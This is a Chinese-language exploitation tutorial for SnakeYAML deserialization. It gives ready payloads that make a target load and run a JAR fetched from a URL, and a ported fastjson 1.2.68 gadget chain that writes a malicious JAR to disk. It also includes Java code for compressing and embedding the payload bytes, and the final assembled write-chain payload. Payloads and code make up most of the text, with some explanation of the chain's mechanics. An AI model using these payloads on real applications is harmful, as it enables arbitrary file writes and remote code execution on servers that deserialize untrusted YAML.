SnakeYaml的常见出网利用方式:
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"] ]] ]
不出网利用方式:写入恶意文件,之后使用上面的利用链。
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["file:D:\yaml-payload.jar"] ]] ]
在java中的执行如下
URL url = new URL("file:D:\yaml-payload.jar"); URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); ScriptEngineManager scriptEngineManager = new ScriptEngineManager(urlClassLoader);
写入文件的利用链来源于fastjson 1.2.68利用链,主要是分析这条链。
{ "@type": "java.lang.Exception", "@type": "java.io.MarshalOutputStream", "out": { "@type": "java.util.zip.InflaterOutputStream", "out": { "@type": "java.io.FileOutputStream", "file": "D:\yaml-payload.jar", "append": "false" }, "infl": { "input": "xxxxx" }, "bufLen": 1048576 }, "protocolVersion": 1 }
翻译成java执行方式大概是这样:
byte[] code = Files.readAllBytes(Paths.get("D:\Payload.jar")); byte[] b = new byte[code.length]; Deflater deflater = new Deflater(); //先对字节码压缩 deflater.setInput(code); deflater.finish(); deflater.deflate(b); FileOutputStream fileOutputStream1 = new FileOutputStream(new File("D:\yaml-payload.jar")); Inflater inflater = new Inflater(); //解压 inflater.setInput(b); InflaterOutputStream inflaterOutputStream = new InflaterOutputStream(fileOutputStream1,inflater,1048576); //这里并没有用MarshalOutputStream,因为MarshalOutputStream构造方法,调用out参数,最终是给父类ObjectOutputStream的构造方法执行的,所以直接使用ObjectOutputStream好了。 ObjectOutputStream objectOutputStream = new ObjectOutputStream(inflaterOutputStream);
从最外层开始看,ObjectOutputStream构造方法,顺利执行了InflaterOutputStream.write(buf, 0, pos);,最终得到写入效果。
public ObjectOutputStream(OutputStream out) throws IOException { verifySubclass(); //this.out = InflaterOutputStream(fileOutputStream1,inflater,1048576); bout = new BlockDataOutputStream(out); handles = new HandleTable(10, (float) 3.00); subs = new ReplaceTable(10, (float) 3.00); enableOverride = false; writeStreamHeader(); //执行out.write bout.setBlockDataMode(true); if (extendedDebugInfo) { debugInfoStack = new DebugTraceInfoStack(); } else { debugInfoStack = null; } }
然后看InflaterOutputStream的write方法。
// Decompress and write blocks of output data do { //这里的inf是Inflater对象,对象中已经包含了要写入的内容,之前由setInput写入,inf的赋值是在InflaterOutputStream(fileOutputStream1,inflater,1048576)构造方法中赋值。并且构造方法还赋值了out为fileOutputStream1。 //在inf.inflate(buf, 0, buf.length)中inf对象的字节码压缩后传递给buf,最终调用out.write(buf, 0, n)写入到文件 n = inf.inflate(buf, 0, buf.length); if (n > 0) { out.write(buf, 0, n); } } while (n > 0);
这个链是给SnakeYaml做反序列化,可以这样写:
!!java.io.ObjectOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["D://yaml-payload.jar"],false],!!java.util.zip.Inflater { input: 压缩过的字节码内容 },1048576]]
压缩过的字节码内容,需要生成,生成完了dump成SnakeYaml的效果。
byte[] code = Files.readAllBytes(Paths.get("D:\Payload.jar")); byte[] b = new byte[code.length]; Deflater deflater = new Deflater(); deflater.setInput(code); deflater.finish(); deflater.deflate(b); Yaml yaml = new Yaml(); String dump = yaml.dump(b); System.out.println(dump); ================================= 输出是这样的 !!binary |- eJwL8GZmEWHg4OB......略
最终的写入利用链:
!!java.io.ObjectOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["D://yaml-payload.jar"],false],!!java.util.zip.Inflater { input: !!binary eJwL8GZmEWHg4OBgEAsID2NAApwMLAy+riGOup5+bvr/TjEwMDMEeLNzgKSYoEoCcGoWAWK4Zl9HP0831+AQPV+3z75nTvt46....略 },1048576]]